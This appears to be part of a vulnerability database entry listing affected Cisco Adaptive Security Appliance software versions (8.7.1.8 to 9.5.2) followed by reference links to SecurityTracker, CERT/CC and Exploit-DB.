Cisco>>Adaptive_security_appliance_software >> Version 8.7.1.8

Cisco>>Adaptive_security_appliance_software >> Version 8.7.1.11

Cisco>>Adaptive_security_appliance_software >> Version 8.7.1.13

Cisco>>Adaptive_security_appliance_software >> Version 8.7.1.16

Cisco>>Adaptive_security_appliance_software >> Version 8.7.1.17

Cisco>>Adaptive_security_appliance_software >> Version 9.0.1

Cisco>>Adaptive_security_appliance_software >> Version 9.0.2

Cisco>>Adaptive_security_appliance_software >> Version 9.0.2.10

Cisco>>Adaptive_security_appliance_software >> Version 9.0.3

Cisco>>Adaptive_security_appliance_software >> Version 9.0.3.6

Cisco>>Adaptive_security_appliance_software >> Version 9.0.3.8

Cisco>>Adaptive_security_appliance_software >> Version 9.0.4

Cisco>>Adaptive_security_appliance_software >> Version 9.0.4.1

Cisco>>Adaptive_security_appliance_software >> Version 9.0.4.5

Cisco>>Adaptive_security_appliance_software >> Version 9.0.4.7

Cisco>>Adaptive_security_appliance_software >> Version 9.0.4.17

Cisco>>Adaptive_security_appliance_software >> Version 9.0.4.20

Cisco>>Adaptive_security_appliance_software >> Version 9.0.4.24

Cisco>>Adaptive_security_appliance_software >> Version 9.0.4.26

Cisco>>Adaptive_security_appliance_software >> Version 9.0.4.29

Cisco>>Adaptive_security_appliance_software >> Version 9.0.4.33

Cisco>>Adaptive_security_appliance_software >> Version 9.0.4.35

Cisco>>Adaptive_security_appliance_software >> Version 9.0.4.37

Cisco>>Adaptive_security_appliance_software >> Version 9.1.1

Cisco>>Adaptive_security_appliance_software >> Version 9.1.1.4

Cisco>>Adaptive_security_appliance_software >> Version 9.1.2

Cisco>>Adaptive_security_appliance_software >> Version 9.1.2.8

Cisco>>Adaptive_security_appliance_software >> Version 9.1.3

Cisco>>Adaptive_security_appliance_software >> Version 9.1.3.2

Cisco>>Adaptive_security_appliance_software >> Version 9.1.4

Cisco>>Adaptive_security_appliance_software >> Version 9.1.4.5

Cisco>>Adaptive_security_appliance_software >> Version 9.1.5

Cisco>>Adaptive_security_appliance_software >> Version 9.1.5.10

Cisco>>Adaptive_security_appliance_software >> Version 9.1.5.12

Cisco>>Adaptive_security_appliance_software >> Version 9.1.5.15

Cisco>>Adaptive_security_appliance_software >> Version 9.1.5.21

Cisco>>Adaptive_security_appliance_software >> Version 9.1.6

Cisco>>Adaptive_security_appliance_software >> Version 9.1.6.1

Cisco>>Adaptive_security_appliance_software >> Version 9.1.6.4

Cisco>>Adaptive_security_appliance_software >> Version 9.1.6.6

Cisco>>Adaptive_security_appliance_software >> Version 9.1.6.8

Cisco>>Adaptive_security_appliance_software >> Version 9.1.6.10

Cisco>>Adaptive_security_appliance_software >> Version 9.2.1

Cisco>>Adaptive_security_appliance_software >> Version 9.2.2

Cisco>>Adaptive_security_appliance_software >> Version 9.2.2.4

Cisco>>Adaptive_security_appliance_software >> Version 9.2.2.7

Cisco>>Adaptive_security_appliance_software >> Version 9.2.2.8

Cisco>>Adaptive_security_appliance_software >> Version 9.2.3

Cisco>>Adaptive_security_appliance_software >> Version 9.2.3.3

Cisco>>Adaptive_security_appliance_software >> Version 9.2.3.4

Cisco>>Adaptive_security_appliance_software >> Version 9.2.4

Cisco>>Adaptive_security_appliance_software >> Version 9.2.4.2

Cisco>>Adaptive_security_appliance_software >> Version 9.2.4.4

Cisco>>Adaptive_security_appliance_software >> Version 9.3.1

Cisco>>Adaptive_security_appliance_software >> Version 9.3.1.1

Cisco>>Adaptive_security_appliance_software >> Version 9.3.2

Cisco>>Adaptive_security_appliance_software >> Version 9.3.2.2

Cisco>>Adaptive_security_appliance_software >> Version 9.3.3

Cisco>>Adaptive_security_appliance_software >> Version 9.3.3.1

Cisco>>Adaptive_security_appliance_software >> Version 9.3.3.2

Cisco>>Adaptive_security_appliance_software >> Version 9.3.3.5

Cisco>>Adaptive_security_appliance_software >> Version 9.3.3.6

Cisco>>Adaptive_security_appliance_software >> Version 9.3.5

Cisco>>Adaptive_security_appliance_software >> Version 9.4.0.115

Cisco>>Adaptive_security_appliance_software >> Version 9.4.1

Cisco>>Adaptive_security_appliance_software >> Version 9.4.1.1

Cisco>>Adaptive_security_appliance_software >> Version 9.4.1.2

Cisco>>Adaptive_security_appliance_software >> Version 9.4.1.3

Cisco>>Adaptive_security_appliance_software >> Version 9.4.1.5

Cisco>>Adaptive_security_appliance_software >> Version 9.4.2

Cisco>>Adaptive_security_appliance_software >> Version 9.4.2.3

Cisco>>Adaptive_security_appliance_software >> Version 9.5.1

Cisco>>Adaptive_security_appliance_software >> Version 9.5.2

References

http://www.securitytracker.com/id/1034997
Tags : vdb-entry, x_refsource_SECTRACK
https://www.kb.cert.org/vuls/id/327976
Tags : third-party-advisory, x_refsource_CERT-VN
https://www.exploit-db.com/exploits/39823/
Tags : exploit, x_refsource_EXPLOIT-DB